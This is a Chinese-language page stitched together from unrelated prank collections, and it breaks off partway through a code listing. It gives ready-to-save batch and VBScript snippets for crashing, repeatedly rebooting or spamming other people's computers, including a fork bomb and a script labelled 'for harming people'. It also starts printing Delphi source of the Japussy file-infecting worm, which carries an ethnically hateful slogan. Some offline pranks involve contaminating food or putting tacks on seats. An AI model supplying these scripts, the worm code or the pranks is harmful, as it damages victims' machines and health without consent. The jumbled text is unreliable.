第一个:让别人内存O V E R(逼他重启) @off start cmd %0 就这3行了 打开“开始→程序→附件→记事本”，把代码部分复制进去，点“另存为”，路径选“你想要放的地方”，保存类型为“所有文件”，文件名为“你想要的名字.bat”，你的批量处理器就完成了。 第二个:让对方重启指定次数(害人专用) @off if not exist c:1.txt echo. >c:1.txt & goto err1 if not exist c:2.txt echo. >c:2.txt & goto err1 if not exist c:3.txt echo. >c:3.txt & goto err1 if not exist c:4.txt echo. >c:4.txt & goto err1 if not exist c:5.txt echo. >c:5.txt & goto err1 goto err2 :err1 shutdown -s -t 0 :err2 上面可以让对方电脑重启5次后不在重启，当然如果你修改一下加个if not exist c:6.txt echo. >c:6.txt & goto err1那就是重启6次 改成7就是7次... 打开“开始→程序→附件→记事本”，把代码部分复制进去，点“另存为”，路径选“你想要放的地方”，保存类型为“所有文件”，文件名为“你想要的名字.bat”，你的批量处理器就完成了。 第三个:善意恶搞关机 首先呢,我们在桌面创建个新文件夹然后打开,在上面找到-工具T-文件夹选项O-查看 把隐藏已知文件类型的扩展名前面的勾去掉. 然后我们开始制作.在桌面建立个记事本,然后把下面代码复制进去 on error resume next dim WSHshellA set WSHshellA = wscript.createobject("wscript.shell") WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪，不说我是猪就一分钟关你机，不信，试试···"" ",0 ,true dim a do while(a <> "我是猪") a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪"" ","说不说","不说",8000,7000) msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox" loop
诚实勇敢整人大全 HUA system office room 【HUA16H-TTMS2A-HUAS8Q8-HUAH1688】
诚实勇敢整人大全，以后有好戏看了——长春“让爱有家”婚典连锁总部 1、抓着铁门大喊，放我出去！！！ 2、深情的吻墙10秒 3、找个同班的异性说，我没穿内裤，你能借我么 4、绕着旗杆跳钢管舞。。。 5、绕操场跑一圈，边跑边喊，我再也不尿床了。。。 6、买一瓶饮料（要有中奖活动的那种）然后拿着瓶子上的宣传问老板在要一瓶，（当然前提是没中奖）老板可定说你没种，然后就认真的说，上面不是写了开盖有奖，再来一瓶吗 7、做一个大家都满意的鬼脸 8、像一位异性表白3分钟 9、做自己最性感、最妩媚的表情或动作 10、吃下每个人为你夹得菜（如果是辣椒……） 11、跳草裙舞、脱衣舞（反正是冬天） 12、随便抓个人说，我怀了你的孩子。。。 13、模仿古代特殊职业女子拉客
14、模仿脑白金广告，边唱边跳 15、走到对面的包房坐下然后猛然站起走回来囧！ 16、正面相隔做接吻陶醉状10秒； 17、对外大喊我是猪； 18、摆3个芙蓉姐姐S形； 19、跪地求婚状：如果我不向你求婚，我会后悔一辈子，因为你是我的惟一。（理察·基尔致朱丽叶·罗伯茨（在电影《逃跑的新娘》中）） 20、大喊：燃烧吧，小宇宙～ 21、选一个女生说：我将把你紧紧地搂在怀中，吻你亿万次，像在赤道上面那样炽烈的吻。（拿破仑致约瑟芬）22、（男生）选一个男生一边捶他的胸一边说：你好讨厌哦23、男生将女生逼角落，用"**式"一手撑墙，两人深情对视10秒；24、正面对着十指交扣，深情对视，深情朗诵骆宾王的《鹅》25、情景剧：一男一女相遇，男生说："你好，我姓锄名禾，你呢"女生说："我名叫当午。"男生女生同时说："哦！原来是锄禾日当午啊！"26、男生摸自己胸说“唉太小了”；27、对窗外大喊“我好寂寞啊”；28、深情亲吻自己的鞋底儿。。。
小学生整人方法大全 小学生的一些整人方法 1在他的背后贴小纸条我试过的,把一个性感的女人图趁他不注意,贴在他背后.后来他没发现,一直走到老师的办公室里...~! 2门上放把扫帚,他进来的时候,呵呵~~就惨了 3送他一个外表用彩色纸包的很漂亮的盒子他拆了老长时间最后 只有一个拇指大的小纸块上面写着:哈哈你受骗了 4打电话给他,对他说,你的兄弟XX在XX地方和别人打起来了, 叫他快点去..哈哈..让他白跑! 5在他睡觉并且睡着的时候,说有人要找他. 6在他喝的饮料里面放其他的东西进去,要么吐口水,...哈哈太 坏了 7把他的手机藏好,顺便乱发情书给里面的女生 8假装好心请他吃饼干,把夹心饼拆封，小心的拨开两片饼干， 去夹心，拿出XX牙膏，挤出适量至饼中(份量随个人"饮食"习惯)， 最后加以黏合，以逼真像样为最高指导原则。 9尽量用很正式的语调给他打电话，对话内容如下——这里是 (当地地名)音乐电台，有一位X(可说可不说真实姓)先生/小姐要为 Y(对方)先生/小姐点一首歌，如果您想听的话，请拨#号键收听， (一般人都会按一下)谢谢，歌曲是动力火车的“当”，请仔细收听。然后敲一下事先准备好的打击物，只敲一下，发出“当”的一声， 在对方未反应过来前，说：谢谢收听，再见,笨蛋. 10半夜12点打电话给他然后对着话筒,尖叫。 最好玩的小学生校园恶作剧 1、抽凳子
上课时，同学站起来回答问题 你在他背后悄悄把凳子挪开 他毫无察觉地坐下，摔个四脚朝天 哄堂大笑的同学，同桌涨红的脸 还有被叫到办公室的你... 2、贴字条 快要下课时，准备好一张字条 写上“我是笨蛋”轻轻地贴在前桌的背上看着前桌带着字条到处走 自己早就趴在桌子上狂笑了 3、拔气门芯 有时看见路边停着一辆自行车 就和小伙伴一起偷偷拔掉气门芯 再飞快地躲到角落里看车主气急败坏的样子4、放图钉/小刺球 放些小刺球(粘粘葵)还好，扎得不深 要是图钉，一屁股坐下去 那声音，还不得响彻整个校园啊!
一、你打开好友的聊天对话框,然后记下在你QQ里好友的昵称,把下面代码里的xx替换一下,就可以自定义发送QQ信息到好友的次数(代码里的数字10改一下即可). xx.vbs=> =--------------------------------------------------------------------------- On Error Resume Next Dim wsh,ye set wsh=createobject("wscript.shell") for i=1 to 10 wscript.sleep 700 wsh.AppActivate("与 xx 聊天中") wsh.sendKeys "^v" wsh.sendKeys i wsh.sendKeys "%s" next wscript.quit ---------------------------------------------------------------------------- 二、我就用这个程序放在学校图书馆查询书刊的机器上，好多人都那它没办法，哈哈 ------------------------------------------------------------------------------ do msgbox "You are foolish!" loop ------------------------------------------------------------------------------ 三、打开无数个计算器，直到死机 ------------------------------------------------------------------------------ set wsh=createobject("wscript.shell") do
愚人节整蛊大全 1、请快速宣读下面数字：2525252525252525……好了宝贝，给你骨头吃！ 2、请走到最近的电线杆前面，对着上面的野广告大声说“我的病有救了”！ 3、如果，我是法官，我将判决你，终身监禁。监禁在———我的心里。 4、请先摸摸你那红嫩的小脸，再摸摸你的小肚子！好！这次养猪知识讲座到此结束，明天见！ 5、请不要再继续看了，不然你会后悔！您的SIM已锁，请与服务商联系。叫你不要看吧你就不信！ 6、请看……，请您看……，继续看……，往下看……，接着看……，认真看……，傻蛋！让你看你就看啊！ 7、日出+日落=朝朝暮暮月亮+星星=无限思念风花+雪月=柔情蜜意流星+心语=祝福万千你+炭火=飘香乳猪。 8、起床时想到你的微笑，洗脸时嗅到你的味道，上床前你是我的需要，真的不能离开你-我亲爱的马桶！
9、亲爱的，我又开始想你了，我对你的爱每天都在巨增，因为有人告诉我：猪肉涨价了，你能卖个好价钱！愚人节快乐！ 10、亲爱的，真对不起。自从昨晚我们浪漫一吻时，你从我嘴里舔出半截豆芽，我就牢记了饭后一定刷牙！ 11、亲爱的你真不起，每天睡到十点起、餐餐五碗都见底，体重没人能比，送给看短信的那头猪，愚人节快乐。 12、亲爱的用户你好，你发的短信我们已收到，我们将从你的话费中扣除2元，感谢你对慈善事业的支持！谢谢！ 13、请输入用户名：麦兜！请输入密码：一只快乐的肥猪！提示：密码正确，欢迎进入深圳国营养猪场，祝用餐愉快！ 14、人渐僵，脸渐黄，苍白如豆浆，嘴唇像红糖；至今没有对象，还要假装坚强，见了美眉象狼，遇到哥们——还那小样。 15、人生的最高境界是难得糊涂，糊而不涂，愚而不蠢，痴而不笨。做愚人，做傻事，享傻福，知足常乐快乐多。愚人节快乐！ 16、认识你至今，你在我心中的地位你应该很清楚，除你之外，其他人在我眼中是一堆屎，可你不一样，因为你是两堆！ 17、让星星化为我的眼，整夜地看护你；让清风化为我的笑，抚平你驿动的心；让一切美好的事物化为我的祝福，永远陪伴着你，永
愚人节整人方法大全 第一招 要耍人趁早作好后备，先准备些世界级名牌的手袋、盒子等（有实物更 好），然后算准购物狂好友经常出没的时间地点守株待兔，同时不经意的左手 擒着adidas、nike等，右手挎着elle等，寒暄之后大侃今日何等运气，这些专卖店打二折三折（再唾沫横飞地描述一番），门都要挤烂了再不去没有之类的后急匆匆地告别并告诉她自己回去放东西去抢购,, 这一招也可以用电话告知打折消息，相信效果也会不错。 第二招 你的周围有没有爱占小便宜的人，你可以把一支香烟的烟丝小心的拿出， 注意不要把烟纸弄坏，再把辣椒末放入，再放上烟丝整理好，放在一个他经常去的地方让他自己拿不要管他，然后你就看好戏吧。 第三招 在学校的告示板上贴了一份海报，具体内容是某某公司为适应发展，作大 范围的广告宣传活动，特到贵大学聘双休业务员若干名，日薪40元有意者请到某号楼-- 某某某寝室报名名额有限，欲报从速 第四招 具体内容：你可以与你最好的朋友玩这个游戏，名字叫：大变活人。 叫你的朋友先扎个马步，姿势要正确，嘴里叼张白纸，注意这是发功前的 姿势，接着你要把他从这个房间变到另一房间，一切准备就绪，你可以很无奈地说上这么一句话：“大变活人嘛！我是不会了，不过活人大便就是这样。” 第五招
我想，现在大家都在防备在愚人节被别人愚弄，我觉得最好的方法：就是将一件真事，装作煞有介事地告诉他或她。而且在这一天的话里，要特别强调，这是真的。哈哈！ 第六招 原料: 洁银牙膏（绿色的牙膏也可以），日式牙膏状绿芥末。 愚人方法: 先把牙膏挤出一部分，不要松手，（有利于吸是芥末）把芥末管对准牙膏管，挤！同时牙膏一方松手，吸！完毕！ 注意：先前的牙膏最好和绿芥末颜色类似，其他的就没什么了。
1、 找一个朋友，让他先说3遍“老鼠”，然后再说3遍“鼠老”，待他说完“老鼠，老鼠，老鼠，鼠老，鼠老，鼠老”之后，立即问他“猫最怕什么”，几乎可以保证他会答“老鼠”，本人试过多次，屡试不爽。2、 进入笑话贴图查看更多精彩爆笑 随便找3个东西，比如3个杯子吧，你敲第一个时让你的朋友说“忘”，敲第二个说“情”，第三个说“水”，美其名曰测试你朋友的反映速度，几次之后，不停的敲第一个，你的朋友如果跟着说“忘，忘，忘，忘，汪，汪，汪，汪，汪，……”呵呵，效果就出来了。 3、 找一个MM，说是测试她的英文能力。由你说一个单词，MM说这个单词的第二个字母。开始时随便说几个，接着好戏开始。 先说husband,MM会说u(you); 再说wife，MM会说i（I）； 反复。 明白了吗？ 4、 你问他：“一个三点水加一个来是什么？” 他想了一想说：“不确定，涞（LAI)？” 你再问：“一个三点水加一个去呢？”
他80会说：“...什么字？有这个字吗？去？” 其实应该是“法”...... 5、 伸出1个手指，问别人“这是几” 再次伸出2个手指，问别人“这是几” 再次伸出3个手指，问别人“1＋1是几” 10人里最多1人答对 6、 看看王朔的小说，《一半是火焰，一半是海水》里面的游戏很有意思。就是手中夹硬币然后回答问题的那一个问：“比1大的数字有吗？”对方说有，再问比10的的有没有对方说有，直到说到100000 最后问比你傻瓜的有没有对方回很警觉的说\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\“没有\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\“ 7、 甲：给你讲个故事，从前有个傻子，别人问他什么他都说“没有”，比如问他你吃饭了吗？他说“没有”，你叫什么？他说“没有”。唉，对了，你听过这个故事么？ 乙：没有。…………$#@!#^&#!~ 8、 最弱的是，当时我们办公室里这个笑话已经流传开了，旁边一个办公室的老哥刚听到，就兴冲冲的跑到我们这儿想卖弄一下，大家听他一张嘴就知道他要干吗了，佯装无知的表情让他继续往下说，当他讲到
“熊猫烧香”简介：“熊猫烧香”病毒是一个能在电脑操作系统上运行的蠕虫病毒。采用“熊猫烧香”头像作为图标。它的变种会感染EXE可执行文件，被病毒感染的文件图标均变为“熊猫烧香”。同时，受感染的计算机还会出现蓝屏、频繁重启以及文件被破坏等现象。该病毒会在中毒电脑中所有的网页文件尾部添加病毒代码。目前已有百万台电脑受害。 program Japussy; uses Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry}; const HeaderSize = 82432; //病毒体的大小 IconOffset = $12EB8; //PE文件主图标的偏移量 //在我的Delphi5 SP1上面编译得到的大小，其它版本的Delphi可能不同 //查找2800000020的十六进制字符串可以找到主图标的偏移量 { HeaderSize = 38912; //Upx压缩过病毒体的大小 IconOffset = $92BC; //Upx压缩过PE文件主图标的偏移量 //Upx 1.24W 用法: upx -9 --8086 Japussy.exe } IconSize = $2E8; //PE文件主图标的大小--744字节 IconTail = IconOffset + IconSize; //PE文件主图标的尾部 ID = $44444444; //感染标记 //垃圾码，以备写入 Catchword = 'If a race need to be killed out, it must be Yamato. ' + 'If a country need to be destroyed, it must be Japan! ' + '*** W32.Japussy.Worm.A ***'; {$R *.RES} function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall; external 'Kernel32.dll'; //函数声明 var TmpFile: string; Si: STARTUPINFO; Pi: PROCESS_INFORMATION; IsJap: Boolean = False; //日文操作系统标记 { 判断是否为Win9x } function IsWin9x: Boolean; var Ver: TOSVersionInfo; begin Result := False; Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo); if not GetVersionEx(Ver) then Exit; if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x Result := True; end; { 在流之间复制 } procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream; dStartPos: Integer; Count: Integer); var sCurPos, dCurPos: Integer; begin